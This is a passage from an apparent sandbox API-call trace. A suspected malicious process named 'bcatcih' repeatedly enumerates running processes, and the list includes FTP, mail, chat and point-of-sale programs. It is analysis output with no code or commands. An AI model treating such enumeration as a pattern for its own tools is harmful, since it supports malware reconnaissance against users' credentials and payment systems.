cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0273.184] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0273.186] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0273.188] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0273.191] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0273.193] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0273.195] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0273.198] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0273.200] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0273.202] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0273.204] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0273.207] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0273.209] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0273.211] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0273.213] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0273.216] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0273.218] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0273.220] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0273.272] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0273.274] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0273.277] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0273.279] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0273.281] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0273.283] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0273.286] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0273.288] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0273.290] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0273.292] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0273.294] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0273.297] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0273.299] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0273.302] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0273.305] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0273.308] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0273.310] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0273.313] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0273.367] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0273.370] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0273.372] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0273.375] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0273.378] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0273.380] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0273.383] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0273.385] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0273.388] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0273.390] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0273.393] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0273.419] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0273.422] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0273.424] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0273.478] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0273.481] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0273.484] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0273.487] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0273.489] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0273.492] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0273.494] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0273.497] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0273.499] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0273.501] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0273.504] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0273.506] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0273.509] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0273.511] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0273.513] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0273.516] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0273.518] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0273.587] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0273.589] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0273.591] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0273.594] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0273.596] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0273.599] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0273.602] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0273.604] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0273.606] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0273.609] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0273.611] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0273.613] CloseHandle (hObject=0x344) returned 1 [0273.614] Sleep (dwMilliseconds=0x64) [0273.663] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0273.721] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0273.724] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0273.727] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0273.729] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.731] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0273.733] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.735] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, 